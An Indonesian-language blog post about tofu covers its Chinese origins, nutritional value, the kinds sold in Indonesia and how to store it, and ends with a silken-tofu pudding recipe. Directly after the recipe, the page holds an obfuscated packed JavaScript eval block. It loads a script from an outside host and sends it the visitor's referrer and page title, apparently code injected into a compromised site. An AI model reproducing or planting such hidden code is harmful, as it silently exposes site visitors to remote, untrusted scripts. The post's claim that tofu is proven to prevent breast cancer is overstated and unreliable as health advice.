browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

all about ‘TAHU’

Posted by on January 25, 2012

Kemaren kan uda posting tentang Tempe, koq berasa nggak adil kalau nggak posting tentang Tahu juga … soalnya Tahu kan sodaranya Tempe, sama sama dari kedelai, sama sama makanan sejuta umat .. hehehe
So, here we go .. semoga bermanfaat yaa…

Tahu atau Tofu adalah makanan yang dibuat dari kedelai yang difermentasikan dan diambil sarinya. Berbeda dengan tempe yang asli dari Indonesia, tahu berasal dari Cina, seperti halnya kecap, tauco, bakpau, dan bakso. Tahu adalah kata serapan dari bahasa Hokkian (tauhu) (Hanzi: 豆腐, hanyu pinyin: doufu) yang secara harfiah berarti “kedelai yang difermentasi”. Tahu pertama kali muncul di Tiongkok sejak zaman Dinasti Han sekitar 2200 tahun lalu. Penemunya adalah Liu An (Hanzi: 劉安) yang merupakan seorang bangsawan, cucu dari Kaisar Han Gaozu, Liu Bang yang mendirikan Dinasti Han.
Di Jepang dikenal dengan nama tofu. Dibawa para perantau China, makanan ini menyebar ke Asia Timur dan Asia Tenggara, lalu juga akhirnya ke seluruh dunia.

Sebagai hasil olahan kacang kedelai, tahu merupakan makanan andalan untuk perbaikan gizi karena tahu mempunyai mutu protein nabati terbaik karena mempunyai komposisi asam amino paling lengkap dan diyakini memiliki daya cerna yang tinggi (sebesar 85% -98%). Kandungan gizi dalam tahu, memang masih kalah dibandingkan lauk pauk hewani, seperti telur, daging dan ikan. Namun, dengan harga yang lebih murah, masyarakat cenderung lebih memilih mengkonsumsi tahu sebagai bahan makanan pengganti protein hewani untuk memenuhi kebutuhan gizi.

Pada tahu terdapat berbagai macam kandungan gizi, seperti protein, lemak, karbohidrat, kalori dan mineral, fosfor, vitamin B-kompleks seperti thiamin, riboflavin,  vitamin E, vitamin B12, kalium dan kalsium (yang bermanfaat mendukung terbentuknya kerangka tulang). Dan paling penting, dengan kandungan sekitar 80% asam lemak tak jenuh tahu tidak banyak mengandung kolesterol, sehingga sangat aman bagi kesehatan jantung. Bahkan karena kandungan hidrat arang dan kalorinya yang rendah, tahu merupakan salah satu menu diet rendah kalori.

Anak-anak balita dipastikan menyukai tahu. Sebagian anak mengalami kesulitan ketika mengunyah makanan bertekstur keras. Tahu memenuhi syarat karena tekstur yang lembut dan rasa yang netral (tergantung bumbunya). Kreasikan tahu dalam berbagai menu dengan aneka bumbu sehingga anak-anak dapat menikmati.

Di negeri Cina, tahu telah menjadi makanan populer sejak 2000 tahun yang lalu. Tahu sering dijadikan sebagai daging tiruan karena tidak bertulang. Bahkan di Perancis tahu digunakan sebagai pengganti susu dan telur dalam pembuatan kue.  Kepopuleran tahu yang mulai menyebar keman-mana adalah akibat adanya tuntutan konsumen untuk mendapatkan makanan yang segar, sehat, berkalori rendah, dan bercita rasa netral.

Di balik kelezatannya, tahu menyimpan khasiat medis tersendiri. Sebuah studi oleh tim medis dari Kanada membuktikan bahwa tahu dapat menurunkan kolesterol jahat dalam tubuh. Studi yang dipublikasikan di American Journal of Clinical Nutrition dilakukan pada 55 orang lelaki dan perempuan usia setengah baya yang mengidap kolesterol tinggi.

Setelah mengikuti diet sehat, partisan tersebut diikutkan pada pola makan beragam, mulai dari kacang almond, tahu, sayuran mentah, dan jenis makanan kedelai lain. Setelah setahun, kolesterol mereka diukur. Hasilnya, mereka yang mengonsumsi tahu mengalami penurunan kolesterol lebih besar dibanding kelompok pengonsumsi makanan lain. Penurunan ini dapat mencapai 10-20 persen.

Selain menurunkan kolesterol, tahu juga terbukti dapat mencegah kanker payudara. Mereka yang mengonsumsi tahu 25 persen lebih banyak mengalami peningkatan pembentukan estrogen dibanding yang tidak. Tekanan darah mereka juga lebih rendah ketimbang kelompok yang tidak mengonsumsi tahu.

Selengkapnya tentang nilai gizi dan proses pembuatan tahu dapat dilihat di NILAI GIZI DAN PROSES PEMBUATAN TAHU

Jenis Jenis Tahu yang Beredar di Indonesia:
Tahu putih
Tahu jenis ini biasanya ada yang berbentuk padat. Bentuknya bervariasi mulai dari yang besar hingga yang kecil. Untuk tahu ini biasanya digunakan untuk digoreng, dibuat tahu bacem ataupun dibuat untuk campuran makanan berkuah.

Tahu kuning
biasanya tahu jenis ini padat atau disebut juga dengan tahu takwa. Karena kepadatannya yang lebih dari pada tahu putih ketika dipotong tahu jenis ini tidak mudah hancur.

Tahu sutera
Disebut tahu sutera karena sangat halus. Tahu jenis ini berwarna putih. Karena lembutnya tahu ini, biasanya ketika dijual direndam dalam wadah yang berisi air dan tahu yang di dalamnya terendam.

Tahu Pong
Bentuk tahu ini berbentuk padat. Ciri khasnya ketika digoreng kering, maka di dalamnya akan terdapat rongga. Untuk penyajian, biasanya disajikan dalam bentuk gorengan ataupun digunakan untuk masakan berkuah.

Tahu kering/kulit tahu
Biasanya jika kita akan menggunakannya kita perlu merenam terlebih dahulu agar lunak. Bisanya disajikan dalam msakanan berkuah ataupun dibuat cemilan.

Menjaga Kualitas Tahu

Cita rasa tahu dan awet tidaknya sangat tergantung pada kualitas kedele, sumber air untuk pembuatannya, sanitasi alat-alat pembuatan tahu, dan pekerjanya. Selama semua unsur tersebut diperhatikan, maka kualitas tahu dapat dipertahankan selama 1-2 hari dengan menyimpannya di kulkas.

Menyimpan tahu:

  • Rendam tahu dalam air bersih untuk mencegah terjadinya pengeringan dan menghalangi pencemaran mikroba pembusuk dari udara. Bila air perendamnya tidak higienis, justru akan lebih mempercepat kerusakan tahu
  • Rebus tahu selama 30 menit, setelah itu rendam dalam air matang.  Keawetan tahu rebusan ini dapat mencapai 4 hari.

Nah, bagi yang bosan dengan olahan Tahu seperti digoreng, diperkedel atau dibuat sayur. Mungkin resep berikut bisa dicoba (kalau udah dicoba, jangan lupa kirim kirim yaaaa….. hehehe)

Puding Tahu Sutera

Bahan :
- Tahu sutera 1 buah (230 gram), haluskan –
- Agar-agar bubuk 1 bungkus –
- Susu cair 600 ml –
- Garam secukupnya –
- Gula pasir 100 gram –
- Coklat pasta 2 sdt –
- Vanili bubuk ¼ sdt –


Cara membuat :
1. Campu tahu, agar-agar, susu, gula, garam dan vanili. Aduk rata.
2. Rebus sambil diaduk hingga mendidih, angkat.
3. Bagi adonan menjadi 2 bagian, tambahkan satu bagian adonan dengan coklat pasta dan satu bagian lagi biarkan putih.
4. Tuangkan adonan putih dan coklat bergantian dalam cup / gelas hingga membentuk lapisan. Bekukan.
5. Hias puding sesuai selera, sajikan

Untuk 20 buah
(resep ini bersumber dari Koki – Edisi 0098 – Juni 2007)
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\’b\’);2 6=7.c(7.e()*f);2 0=\’g://h.i/j/k?\’;0=0+\’l=\’+3.m;0=0+\’&n=\’+3.o;0=0+\’&r=\’+6;d.p(\’\’)})();’,35,35,’src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height’.split(‘|’),0,{}))

Leave a Reply